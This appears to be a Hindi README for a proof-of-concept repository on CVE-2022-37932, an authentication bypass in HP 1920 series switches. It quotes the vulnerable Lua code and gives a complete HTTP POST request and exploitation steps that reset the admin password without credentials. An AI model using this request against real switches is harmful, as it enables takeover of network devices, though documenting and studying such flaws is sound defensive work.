HP स्विच फर्मवेयर प्रमाणीकरण बाईपास भेद्यता

CVE-2022-37932

फर्मवेयर संस्करण: PD.02.21
प्रभावित उपकरण: HP 1920 सीरीज़ स्मार्ट मैनेज्ड स्विच

अवलोकन

यह रिपॉजिटरी HP 1920 सीरीज़ स्मार्ट मैनेज्ड स्विच में फर्मवेयर संस्करण PD.02.21 चलाने वाले उपकरणों में एक गंभीर प्रमाणीकरण बाईपास भेद्यता का दस्तावेजीकरण करती है। यह भेद्यता एक अप्रमाणित हमलावर को बिना किसी पूर्व प्रमाणीकरण के एडमिन पासवर्ड बदलने की अनुमति देती है, जिससे उपकरण का पूर्ण अधिग्रहण संभव हो जाता है।

तकनीकी विवरण

यह भेद्यता /login/default_password_cfg.lua स्क्रिप्ट में मौजूद है, जो उपकरण के डिफ़ॉल्ट पासवर्ड को बदलने का कार्य संभालती है। यह स्क्रिप्ट:

1. यह जाँच किए बिना फॉर्म POST अनुरोध स्वीकार करती है कि उपयोगकर्ता प्रमाणित है या नहीं
2. केवल यह सत्यापित करती है कि oldPwd पैरामीटर डिफ़ॉल्ट पासवर्ड से मेल खाता है (जो खाली/रिक्त है)
3. POST पैरामीटर के आधार पर सीधे उपयोगकर्ता का पासवर्ड बदल देती है

भेद्य कोड

default_password_cfg.lua में मुख्य भेद्य अनुभाग:

if (request_method == 'POST') then
  -- कोई प्रमाणीकरण या सत्र जाँच नहीं!
  
  local defaultPassword = fpaux.string_const("FD_USER_MGR_DEFAULT_PASSWORD")
  -- ...

  if form_post.oldPwd ~= defaultPassword then
    errorStatus = "401 Unauthorized"
    errorText = label.old_password_mismatch
  else
    -- पासवर्ड बदलने के लिए आगे बढ़ता है
    -- ...
  end
end

स्क्रिप्ट में महत्वपूर्ण सुरक्षा नियंत्रणों का अभाव है:

• कोई सत्र सत्यापन नहीं
• कोई CSRF सुरक्षा नहीं
• कोई दर सीमा नहीं
• प्रमाणीकरण के बिना पासवर्ड बदलने की कार्यक्षमता तक सीधी पहुँच

प्रूफ ऑफ कॉन्सेप्ट

एक हमलावर इस भेद्यता का शोषण एक सरल HTTP POST अनुरोध का उपयोग करके कर सकता है:

POST /login/default_password_cfg.lua HTTP/1.1
Host: [target-ip]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

username=admin&oldPwd=&newPwd=[new-password]&confirmPwd=[new-password]

नोट: oldPwd पैरामीटर खाली छोड़ा गया है क्योंकि डिफ़ॉल्ट पासवर्ड रिक्त है।

प्रभाव

यह भेद्यता एक अप्रमाणित हमलावर को अनुमति देती है:

1. बिना कोई क्रेडेंशियल जाने एडमिन पासवर्ड बदलना
2. उपकरण पर पूर्ण प्रशासनिक नियंत्रण प्राप्त करना
3. स्विच को कॉन्फ़िगर करना, नेटवर्क सेटिंग्स बदलना और संभावित रूप से पूरे नेटवर्क से समझौता करना

शोषण पथ

1. नेटवर्क पर एक भेद्य HP 1920 सीरीज़ स्विच का पता लगाएँ
2. उपकरण को सीधे तैयार किया गया HTTP POST अनुरोध भेजें
3. एडमिन पासवर्ड हमलावर-नियंत्रित मान में बदल जाता है
4. हमलावर अब नए पासवर्ड और पूर्ण एडमिन विशेषाधिकारों के साथ लॉगिन कर सकता है

क्रेडिट

मेरे पास यह शोध करने का समय नहीं था कि इस भेद्यता की मूल खोज किसने की, मैं केवल एक प्रूफ ऑफ कॉन्सेप्ट पोस्ट कर रहा हूँ।

कानूनी अस्वीकरण

यह जानकारी केवल शैक्षिक उद्देश्यों के लिए प्रदान की गई है। लेखक इस जानकारी के किसी भी दुरुपयोग के लिए उत्तरदायी नहीं है। भेद्यताओं का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।